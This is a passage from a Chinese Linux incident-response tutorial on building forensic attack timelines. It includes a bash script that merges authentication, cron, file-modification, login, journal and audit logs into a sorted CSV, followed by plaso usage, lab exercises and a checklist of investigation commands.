40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/bin/bash
# timeline_builder.sh - 自动化时间线构建脚本
# 用法: ./timeline_builder.sh [start_date] [end_date]
# 示例: ./timeline_builder.sh "2025-01-08" "2025-01-09"

START_DATE="${1:-$(date -d '7 days ago' '+%Y-%m-%d' 2>/dev/null || date -v-7d '+%Y-%m-%d')}"
END_DATE="${2:-$(date '+%Y-%m-%d')}"

OUTPUT="/tmp/timeline_$(date '+%Y%m%d_%H%M%S').csv"

echo "时间,来源,事件类型,详情" > "$OUTPUT"

echo "[*] 时间范围: $START_DATE ~ $END_DATE"
echo "[*] 输出文件: $OUTPUT"
echo ""

# ========== 1. 认证日志 ==========
echo "[1/6] 处理认证日志..."
AUTH_LOG="/var/log/auth.log"
[ -f "/var/log/secure" ] && AUTH_LOG="/var/log/secure"

if [ -f "$AUTH_LOG" ]; then
# 失败登录
grep "Failed password" "$AUTH_LOG" 2>/dev/null | while IFS= read -r line; do
ts=$(echo "$line" | awk '{print $1, $2, $3}')
src=$(echo "$line" | grep -oP 'from \K[\d.]+')
user=$(echo "$line" | grep -oP 'for (invalid user )?\K\w+')
echo "$ts,auth.log,AUTH_FAIL,Failed login for $user from $src"
done >> "$OUTPUT"

# 成功登录
grep "Accepted" "$AUTH_LOG" 2>/dev/null | while IFS= read -r line; do
ts=$(echo "$line" | awk '{print $1, $2, $3}')
src=$(echo "$line" | grep -oP 'from \K[\d.]+')
user=$(echo "$line" | grep -oP 'for \K\w+')
echo "$ts,auth.log,AUTH_OK,Successful login for $user from $src"
done >> "$OUTPUT"

# sudo 操作
grep "sudo:" "$AUTH_LOG" 2>/dev/null | grep "COMMAND=" | while IFS= read -r line; do
ts=$(echo "$line" | awk '{print $1, $2, $3}')
cmd=$(echo "$line" | grep -oP 'COMMAND=\K.*')
user=$(echo "$line" | grep -oP '^\S+ \S+ \S+ \S+ \S+ \K\w+')
echo "$ts,auth.log,SUDO,$user executed: $cmd"
done >> "$OUTPUT"
fi

# ========== 2. Cron 日志 ==========
echo "[2/6] 处理 Cron 日志..."
grep "CRON.*CMD" /var/log/syslog 2>/dev/null | while IFS= read -r line; do
ts=$(echo "$line" | awk '{print $1, $2, $3}')
cmd=$(echo "$line" | grep -oP 'CMD \(\K[^)]+')
user=$(echo "$line" | grep -oP 'CRON\[\d+\]: \(\K\w+')
echo "$ts,cron,CRON_EXEC,$user: $cmd"
done >> "$OUTPUT"

grep "CMD" /var/log/cron 2>/dev/null | while IFS= read -r line; do
ts=$(echo "$line" | awk '{print $1, $2, $3}')
cmd=$(echo "$line" | grep -oP 'CMD \(\K[^)]+')
user=$(echo "$line" | grep -oP 'CROND\[\d+\]: \(\K\w+')
echo "$ts,cron,CRON_EXEC,$user: $cmd"
done >> "$OUTPUT"

# ========== 3. 最近修改的关键文件 ==========
echo "[3/6] 扫描关键文件修改..."
KEY_DIRS="/etc /var/spool/cron /tmp /dev/shm /root /home"
find $KEY_DIRS -type f -newermt "$START_DATE" ! -newermt "$END_DATE" \
-not -path "/proc/*" -not -path "/sys/*" \
-printf "%TY-%Tm-%Td %TH:%TM:%TS,file_mtime,FILE_MODIFY,%p\n" 2>/dev/null >> "$OUTPUT"

# ========== 4. 登录记录 ==========
echo "[4/6] 处理登录记录..."
last -F 2>/dev/null | grep -v "^$\|wtmp begins\|reboot\|still logged" | while IFS= read -r line; do
user=$(echo "$line" | awk '{print $1}')
src=$(echo "$line" | awk '{print $3}')
ts=$(echo "$line" | grep -oP '\w+ \w+ +\d+ \d+:\d+:\d+ \d+' | head -1)
[ -n "$ts" ] && echo "$ts,wtmp,LOGIN,$user from $src"
done >> "$OUTPUT"

# ========== 5. Systemd Journal 关键事件 ==========
echo "[5/6] 处理 Systemd Journal..."
journalctl --since "$START_DATE" --until "$END_DATE" --no-pager \
--output short-iso 2>/dev/null | \
grep -iP "(started|stopped|failed|error|warning|ssh|cron|service)" | \
head -500 | while IFS= read -r line; do
ts=$(echo "$line" | awk '{print $1}')
msg=$(echo "$line" | cut -d' ' -f5-)
echo "$ts,journal,SYSTEM,$msg"
done >> "$OUTPUT"

# ========== 6. Audit 日志 ==========
echo "[6/6] 处理 Audit 日志..."
if [ -f /var/log/audit/audit.log ]; then
ausearch -ts "$START_DATE" -te "$END_DATE" -sc execve --format csv 2>/dev/null | \
head -500 >> "$OUTPUT" 2>/dev/null
# 如果 CSV 格式不支持,用文本方式
if [ $? -ne 0 ]; then
ausearch -ts "$START_DATE" -te "$END_DATE" -sc execve -i 2>/dev/null | \
grep "type=EXECVE" | head -200 | while IFS= read -r line; do
ts=$(echo "$line" | grep -oP 'msg=audit\(\K[^)]+' | cut -d: -f1)
args=$(echo "$line" | grep -oP 'a[0-9]+="[^"]*"' | sed 's/a[0-9]*=//g;s/"//g' | tr '\n' ' ')
[ -n "$ts" ] && echo "$ts,audit,CMD_EXEC,$args"
done >> "$OUTPUT"
fi
fi

# ========== 排序输出 ==========
echo ""
echo "[*] 排序时间线..."
header=$(head -1 "$OUTPUT")
tail -n +2 "$OUTPUT" | sort > "${OUTPUT}.tmp"
echo "$header" > "$OUTPUT"
cat "${OUTPUT}.tmp" >> "$OUTPUT"
rm "${OUTPUT}.tmp"

total=$(wc -l < "$OUTPUT")
echo "[+] 完成!共 $((total - 1)) 条事件"
echo "[+] 输出文件: $OUTPUT"
echo ""
echo "前 20 条事件:"
head -21 "$OUTPUT" | column -t -s','

7.2 使用 log2timeline (plaso) 进行专业取证

对于更专业的取证场景,推荐使用 plaso/log2timeline:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 安装 plaso
pip3 install plaso
# 或使用 Docker
docker pull log2timeline/plaso

# 从磁盘镜像生成时间线
log2timeline.py --storage-file timeline.plaso disk_image.dd

# 从活跃系统的特定目录生成
log2timeline.py --storage-file timeline.plaso /var/log/ /etc/ /home/

# 转换为 CSV
psort.py --output-time-zone UTC -o l2tcsv -w timeline.csv timeline.plaso

# 按时间范围过滤
psort.py --output-time-zone UTC -o l2tcsv -w timeline_filtered.csv \
timeline.plaso "date > '2025-01-08' AND date < '2025-01-09'"

8. 练习

8.1 综合练习:完整攻击时间线重建

练习目标:在实验环境中,使用本页所有技术重建完整攻击时间线。

练习环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 创建实验用 Docker 环境(概念框架)
FROM ubuntu:22.04

# 安装必要工具
RUN apt-get update && apt-get install -y \
openssh-server rsyslog cron auditd \
curl wget python3 netcat-openbsd

# 预先配置好 HISTTIMEFORMAT
RUN echo 'export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S "' >> /etc/profile

# 模拟攻击痕迹
# 1. 模拟暴力破解日志
# 2. 植入多个后门
# 3. 模拟挖矿进程
# 4. 部分清除痕迹

练习任务

  1. 历史记录分析:找出所有用户的历史文件,分析哪些被清除、哪些有攻击痕迹

  2. 日志关联:从 auth.log、syslog、cron 日志中提取关键事件

  3. 文件时间线:使用 find 和 stat 构建文件变更时间线

  4. 时间线整合:将所有证据合并为统一的时间线

  5. 攻击故事撰写:基于时间线写出完整的攻击叙述

评估标准

能否准确定位攻击起始时间?

能否识别所有持久化机制?

时间线是否完整覆盖攻击的每个阶段?

是否发现了攻击者的反取证行为?

8.2 单项练习

练习A:Shell 历史取证

给定一个包含攻击痕迹的 .bash_history 文件,分析攻击者执行了哪些命令,划分攻击阶段。

练习B:Auditd 日志分析

配置 auditd 规则,模拟攻击操作,然后仅使用 ausearch 和 aureport 还原攻击行为。

练习C:mactime 文件系统分析

对一个磁盘镜像使用 fls + mactime 生成时间线,定位攻击者创建和修改的文件。

完成练习后,可以参考 29-取证工具 了解更多专业取证工具。

9. 总结与速查表

核心排查清单

排查项 命令 备注
bash 历史 cat ~/.bash_history 检查所有用户
zsh 历史 cat ~/.zsh_history 带时间戳格式
历史被清除检测 文件大小 + mtime + 搜索清除命令 清除行为本身是证据
HISTTIMEFORMAT echo $HISTTIMEFORMAT 有则可提取时间戳
文件时间线 find / -type f -newermt "DATE" -printf "%T+ %p\n" 按时间范围
认证事件 grep "Failed|Accepted|sudo" /var/log/auth.log 发行版差异
登录记录 last -F; lastb -F 成功和失败登录
mactime fls + mactime 离线取证
Auditd ausearch -k KEY; aureport 最详细的审计源
Systemd Journal journalctl --since DATE 统一日志源
进程启动时间 ps -eo lstart,pid,user,args 运行中进程

时间线构建流程

  1. 确定调查时间窗口(通过告警时间或可疑进程启动时间)

  2. 从各来源收集时间线数据

  3. 统一时间格式,合并排序

  4. 标注每个事件的攻击阶段

  5. 形成完整攻击叙述

相关页面

03-日志分析基础 — 日志文件位置与分析方法

29-取证工具 — 专业取证工具详解

05-进程与网络分析 — 进程与网络排查方法


上一章 目录 下一章
08-服务与启动项审计 Linux应急响应 10-SSH暴力破解与未授权访问